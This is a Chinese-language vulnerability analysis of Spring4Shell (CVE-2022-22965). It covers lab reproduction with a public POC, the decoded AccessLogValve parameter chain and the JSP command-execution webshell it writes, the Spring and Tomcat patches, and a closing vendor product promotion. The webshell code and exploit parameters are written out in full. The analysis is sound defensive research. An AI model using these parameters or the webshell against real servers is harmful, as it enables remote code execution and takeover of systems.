Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考
yuyutoo 2024-12-19 17:34 6 浏览 0 评论
前言
上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。
1?前置知识
1.1 SpringMVC参数绑定
为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";
}
}
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
当请求为 :
/addUser?name=test&department.name=SEC时,public String addUser(User user)中的user参数内容如下:
可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。
注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的:
User.getDepartment()
Department.setName()
假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)。
1.2 Java Bean PropertyDescriptor
PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。下面是一个简单的例子:
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("userNameDescriptor: " + userNameDescriptor);
System.out.println("Before modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, "bar");
}
}
System.out.println("After modification: ");
System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
}
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。
1.3 Spring BeanWrapperImpl
在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor。
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("foo");
Department department = new Department();
department.setName("SEC");
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("userBeanWrapper: " + userBeanWrapper);
System.out.println("Before modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "bar");
userBeanWrapper.setPropertyValue("department.name", "IT");
System.out.println("After modification: ");
System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。
1.4Tomcat AccessLogValve 和 access_log
Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
下面列出配置中出现的几个重要属性:
· directory:access_log文件输出目录。
· prefix:access_log文件名前缀。
· pattern:access_log文件内容格式。
· suffix:access_log文件名后缀。
· fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。
2?漏洞复现
1.创建一个maven项目,pom.xml内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
2.项目中添加如下代码,作为SpringBoot的启动类:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}
public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}
3.将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。
4.执行maven打包命令,将项目打包为war包,命令如下:
mvn clean package
5.将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。
6.从https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:
python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
7.浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。
3?漏洞分析
3.1 POC分析
我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。
3.1.1 pattern参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
参数值:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:
User.getClass()
java.lang.Class.getModule()
......
SomeClass.setPattern()
那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。
经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。
我们重点关注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。
第一轮迭代
进入
getPropertyAccessorForPropertyPath(String)
方法前:
· this:User的BeanWrapperImpl包装实例
·propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
·nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern
·nestedProperty:class,即本轮迭代需要解析的嵌套参数
进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。
getPropertyAccessorForPropertyPath(String)方法返回后:
this:User的BeanWrapperImpl包装实例
propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的propertyPath
nestedProperty:class,即本轮迭代需要解析的嵌套参数
nestedPa:java.lang.Class的BeanWrapperImpl包装实例,作为下一轮迭代的this
经过第一轮迭代,我们可以得出第一层调用链:
User.getClass()
java.lang.Class.get???() // 下一轮迭代实现
第二轮迭代
module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。
经过第二代迭代,我们可以得出第二层调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.get???() // 下一轮迭代实现
第三轮迭代
classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader(),获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。
经过第三轮迭代,我们可以得出第三层调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现
接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()
可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValve的pattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。
我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码,可以找到相关的文档:
即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。
结合poc.py中headers变量内容:
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):
<%
if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>//
很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。
3.1.2 suffix参数
参数名:
class.module.classLoader.resources.context.parent.pipeline.first.suffix
参数值:.jsp
按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。
3.1.3 directory参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值:webapps/ROOT
按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。
这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。
3.1.4 prefix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值:tomcatwar
按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。
3.1.5 fileDateFormat参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
参数值:空
按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。
3.1.6 总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。
3.2 漏洞利用关键点
3.2.1 关键点一:Web应用部署方式
从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。
ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:
可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
3.2.2 关键点二:JDK版本
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:
该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:
不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......
这就是为什么本漏洞利用条件之二,JDK>=1.9。
4?补丁分析
4.1 Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor filter的”提交。
进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。
4.2 Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate getResources() and always return null.”提交。
进入该提交,可以看到对getResources()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。
5?思考
通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。
与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web 应用目录下。
在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。
本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader....合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。
本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java 8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。
析策XDR平台
同Log4jShell中的Log4j2一样,Spring框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但仍有极其庞大的其它框架、中间件,导致升级工作同样极为困难。绝大部分公司采取的方案是在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。
“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?
极盾科技的析策XDR平台,通过收集企业内部各类安全日志、流量,基于这些数据进行全局的、跨端的实时关联分析,挖掘其中隐匿的风险,并提供一套可灵活编排的风险处置流程,最大程度上提升了企业的安全感知和处理能力。即便有人利用本漏洞突破了边界,在造成更大影响之前,通过多端数据的关联分析,即可更早地被析策XDR平台感知到入侵是否已经发生了,进行到了哪个阶段,可以及时阻断处理。平台更详细的介绍见如下链接:
https://www.jidun.cn/product/xice
参考
- Tomcat access_log配置参考文档:https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging
- Spring 5.3.17和5.3.18版本比较:https://github.com/spring-projects/spring-framework/compare/v5.3.17...v5.3.18
- Spring 5.3.18补丁提交内容:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
- Tomcat 9.0.61和9.0.62版本比较:https://github.com/apache/tomcat/compare/9.0.61...9.0.62
- Tomcat 9.0.62补丁提交内容:https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c
- LaunchedURLClassLoader源码:https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java
相关推荐
- 建筑福利-pdf转dwg格式转换器,再也不用描图-极客青年
-
作为一名经常熬夜画图的建筑狗或者cad用户,你体验过pdf图纸描图到cad吗?前几天一个老同学找我,说他的毕业设计需要我帮忙,发给我一份pdf图纸文件,问我怎么把pdf图纸转换成dwg格式。机智的我灵...
- 想学 HTML,不知从何入手?看完这篇文章你就知道了
-
很多人都说HTML是一门很简单的语言,看看书,看看视频就能读懂。但是,如果你完全没有接触过,就想通过看一遍教程,背背标签,想要完全了解HTML,真的有点太天真了。HTML中文...
- 「前端」HTML之结构
-
今天继续为大家分享前端的知识,如果对前端比较感兴趣的小伙伴,可以关注我,我会更大家继续分享更多与前端相关的内容,当然如果内容中又不当的或者文字错误的,欢迎大家在评论区留言,我会及时修改纠正。1.初识H...
- 手把手教你使用Python网络爬虫下载一本小说(附源码)
-
大家好,我是Python进阶者。前言前几天【磐奚鸟】大佬在群里分享了一个抓取小说的代码,感觉还是蛮不错的,这里分享给大家学习。...
- 用于处理pdf文件格式的转换器
-
在上传过程中如果单个文件太大则容易中断,而且文件太大的话对与存储也有些弊端。那么我们应该想到将文件进行压缩(注意这里压缩指的是不改变文件格式的压缩,而不是用变成压缩文件。这里就将以下用专门的软件压缩P...
- 乐书:在线 Kindle 电子书制作和转换工具
-
之前Kindle伴侣曾推荐过可以在Windows和Mac系统平台上运行的kindle电子书制作软件Sigil(教程),用它可以制作出高质量的的ePub格式电子书,当然最后还需要通...
- 付费文档怎么下载?教你5种方法,任意下载全网资源
-
网上查资料的时候,经常遇到需要注册登录或者付费的才能复制或者是下载,遇到这种情况大多数人都会选择重新查。...
- 捡来的知识!3种方法随便复制网页内容,白嫖真香呀
-
网上的资源真的多,所以许多人常常会从网上找资料。我们看到感兴趣的内容,第一时间可能会想要收入囊中。比如说截个图啊,或者挑选有意思的句子复制粘贴,记录下来。可是,有些时候,却会遇到这样的情况:1、内容不...
- AI的使用,生成HTML网页。
-
利用deepseek,豆包,kimi以及通义千问,写入相同的需求。【写一个网页,实现抽奖功能,点击“开始”,按键显示“停止”,姓名开始显示在屏幕上,人员包括:“张三”,“里斯”,“Bool”,“流水废...
- pdf转换成jpg转换器 4.1 官方正式版
-
pdf转换成jpg工具软件简介pdf转换成jpg转换器是一款界面简洁,操作方便的pdf转换成jpg转换器。pdf转换成jpg转换器可以将PDF文档转换为JPG,BMP,GIF,PNG,TIF图片文件。...
- 办公必备的office转换成pdf转换器怎么用?
-
2016-02-2415:53:37南方报道网评论(我要点评)字体刚从校园走出社会,对于快节奏的办公环境,难免会觉得有些吃力。在起步阶段力求将手头上的事情按时完工不出错,但是渐渐的你会发现,别人只...
- 为什么PDF转Word大多要收费?
-
PDF转Word大多都要收费?并非主要是因为技术上的难度,而是基于多方面的商业和版权考虑的,下面给大家浅分析下原因:...
- 如何用python生成简单的html report报告
-
前提:用python写了一个简单的log分析,主要也就是查询一些key,value出来,后面也可以根据需求增加。查询出来后,为了好看,搞个html表格来显示。需要的组件:jinja2flask...
- 学用系列|如何搞定word批量替换修改和格式转换?这里一站搞定
-
想必不少朋友都会碰到批量修改word文档内容、压缩文档图片、文件格式转换等重复性文档处理工作的需要,今天胖胖老师就推荐给大家一个免费工具XCLWinKits,一站搞定你所有的需要。什么是XCLWinK...
- 这款PDF文档转换神器,能帮你解决PDF使用中的许多难点
-
不管是平时的学习还是工作,相信许多朋友都经常接触PDF文件。可以说,PDF文件在我们的日常办公学习过程中的重要性和Word文档一样重要。在之前的更新中,小编介绍了几款非常不错的PDF文档格式转换软件,...
你 发表评论:
欢迎- 一周热门
-
-
前端面试:iframe 的优缺点? iframe有那些缺点
-
带斜线的表头制作好了,如何填充内容?这几种方法你更喜欢哪个?
-
漫学笔记之PHP.ini常用的配置信息
-
其实模版网站在开发工作中很重要,推荐几个参考站给大家
-
推荐7个模板代码和其他游戏源码下载的网址
-
[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗
-
正在学习使用python搭建自动化测试框架?这个系统包你可能会用到
-
织梦(Dedecms)建站教程 织梦建站详细步骤
-
【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)
-
2024PHP在线客服系统源码+完全开源 带详细搭建教程
-
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)